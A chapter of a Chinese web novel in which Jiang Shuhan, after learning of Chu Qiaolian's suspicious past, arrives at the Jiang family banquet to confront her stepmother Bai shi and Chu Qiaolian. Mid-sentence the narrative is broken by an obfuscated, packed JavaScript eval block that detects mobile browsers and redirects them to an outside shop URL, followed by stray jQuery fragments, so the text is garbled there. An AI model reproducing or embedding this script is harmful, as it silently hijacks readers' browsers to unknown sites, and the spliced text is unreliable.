白氏与楚巧怜在密谋商议时,姜抒寒也正在崔家听着榴花报来的信儿。
去北地探查楚巧怜的人回来了。
“也就是说,这位楚二小姐,是三月前有了不对?”姜抒寒面前放了一盆海红石榴,颗颗饱满晶莹,被切成了月牙状。她随手拿起了一个,又取出手边的银勺,敲了敲。
“估摸着五六月,楚二小姐出了趟府,接着同楚二小姐定亲的陈公子就出了事,被爆出同张府上的公子争抢戏子,摔断了腿。”
榴花继续道:“接着定国公府退亲,楚二小姐说是想南下照看三妹。”
玉盘中的红石榴粒被姜抒寒用银勺咬了口,甘汁入口,她捏起帕子掩在嘴角,吐掉了。
不够甜。
“陈公子……”
姜抒寒仔细回想了下,书中并无此人,想来只是个不重要的角色。
“可还有别的?”
“要说的都同您说了。”榴花摇摇头,正欲上前撤下石榴,眼睛忽地亮了下。
“对了主子,还有个事儿,也不知有没有关联,就是他们还打听到楚二小姐似是对楚三小姐嫁给三皇子不怎么乐意。”
“不乐意?”
“说是因着此事,两人还吵了架,定国公府的人都知道。”
“这样呀……”
姜抒寒笑了笑:“好。”
这还真是个重要的信息。
楚巧怜不愿男女主在一起,要么是此人的任务就是拆散男女主,要么此人就是重生之人。
陈公子也是个没听说过的,想来重生的嫌疑要比穿越多一些。
不过,还是要当面问问才是。
“主子。”红螺从屋外走了进来,“姜家大少夫人说是已经妥当了。”
“这么快呀……”姜抒寒站起身感慨,两臂张开,立于屏风之后。
“榴花替我更衣,姜家有宴,怎能不去呢?良机难寻。”
等白氏有动静可等了好久,和楚巧怜都在一处,就更是另外之喜了。
那就今儿,一并都解决了吧。
女子用指背轻刮脸侧,滑到左耳的耳坠上,今日她坠了个小巧玲珑的珍珠,埋在乌发间也不减光华,甚是晃眼。
……
“少夫人去了姜家?”
崔孟清起先得知此事时,也不怎么在意,直到想起苏氏是姜氏的弟妹。
都已开宴了,这个时候去姜家,是去找苏氏?
崔孟清心中还在猜测姜抒寒的目的,守安的话却全然打破了他的平静。
“少主,少夫人多带了十个护卫,还……还带了守恒……”
守恒是主子给少夫人的丫鬟,可少夫人一直放着,这是头一次用。
守安只知其一,却不知其二。
守恒,是当初姜抒寒斩钉截铁说不会用的。
“去姜家。”崔孟清忽而道。
姜家在城南,离崔府也算不得进,故而姜抒寒到时,已过酉时。
出来迎接的,是苏氏。
苏氏早就得了消息,也将姜家的事一并递了口信给姜抒寒,对于白氏吩咐的拦人,只当个笑话,白氏早就不中用了。
“宴还未散?”
“正是,您来的巧了。”
姜抒寒扶上苏氏的手,道:“设宴这样的大事,做女儿的,怎能不至?”
她眼下的话大多随口而来,圆了个体面,实则百般漏洞,不过苏氏也不是来接茬儿的,轻巧换了话。
“可要先歇歇?”
“还是先去拜见母亲吧。”姜氏弯了弯眼,眸中露出些许期待,“母亲见到我,一定是会高兴的。”
天色将将暗下,落日的余晖被一扫而尽。
姜家丫鬟打起了灯笼,借着微弱的光芒,照着前方不过一寸之处。
姜抒寒到宴上,大多数宾客都不再席位,出去透气了。
来的路上就撞见了几个,纷纷附和吹捧,她是被簇拥着入内的,环顾四周,白氏不在,楚巧怜在。
姜抒寒浩浩荡荡,声势浩大入了院,由不得人忽略她。
楚巧怜第一眼就看见了。
看见了高高在上的美人笑意透不过眼底,望着众人,似是和善,却更添疏离。
楚巧怜不由想到了崔家那位少主。
两人不愧是夫妻,竟当真越来越相像了。
她透过眼前女子,不知不觉忆起了前世。
前世崔家少主刚入京,是无人畏惧的,容山崔氏门第太高,他又久负盛名,故而众人多是敬。
可谁又能想到,此人不仅将三皇子与她三妹打成庶民,连亲妹妹嫁给的四皇子也不曾放过。
京城的那一年,当真是多事之秋,连那龙椅上的人,也都换了三个。
而最后一场兵祸,是任何人都没想到的母
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753212|208859||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子相残。
长公主殿下也死在了那场霍乱。
“楚二小姐,别来无恙。”姜抒寒走近,打断了楚巧怜的思绪。
“见过少夫人。”楚巧怜回过神,微微欠身,开始回想起自己方才与白氏所议之事。
姜氏怎的来了?
这么快?
是白氏安排的?
不对,不对!
直觉隐隐约约告诉她,哪里有些不对。
“少夫人,不知您今日这是……”楚巧怜试探道。
“今日来此,是听闻了母亲设宴,过来帮衬一二罢了。”
她这一番话说的,好似与白氏的感情甚深,亲昵无常。
“对了,怎么不见母亲?”姜抒寒仿佛随口问道。
说曹操曹操到。
姜抒寒话音刚落,白氏就不知从哪儿冒了出来,一双眼睛直直盯着人。
“寒娘也来了。”白氏端着一个托盘,手上有些许灰,腕间还系了一个白色的飘带。
“见过母亲。”姜抒寒微微颔首,主动蹲了蹲,不过身子笔直,也没瞧出几分恭敬之意。
终究是母女,姜抒寒又是少夫人,再不规矩失礼的,众人也就遮遮掩掩盖了过去,谁也不敢多嘴说几句。
这就是权力带来的好处。
想干什么都可以,所有人都会替你装聋作哑。
姜抒寒嗤笑出了声,凑近细细看着白氏手上的托盘。
这托盘上边不仅有灰,还有几只不用的断香,这般不吉利之下,最中间还有一个方形盒子。
“母亲这是要干什么?”
姜抒寒再凑近了几步,来到距离白氏不过一寸多许的距离。
“不会是我想的那样吧?”她低了低头,用只有两个人能听见的声音说道,“您是在祭拜,您死了的女儿吗?”
“闭嘴!”白氏恶狠狠瞪了一眼。
姜抒寒不甚在意,叹气道:“早知如此,又何必呢?”
真蠢。
白氏怎么活到这个份上,还能如此愚蠢啊。
姜抒寒说不上自己是否是失望。
也是,姜家这几个人,不都是一边欺软怕硬。
姜抒寒深吸了一口气,缓了脸色。
“夫人手上都举累了,快不让路?”她飞快理好了情绪,面上又堆起了笑,“也是怪我这个做女儿的不周,差点忘了……”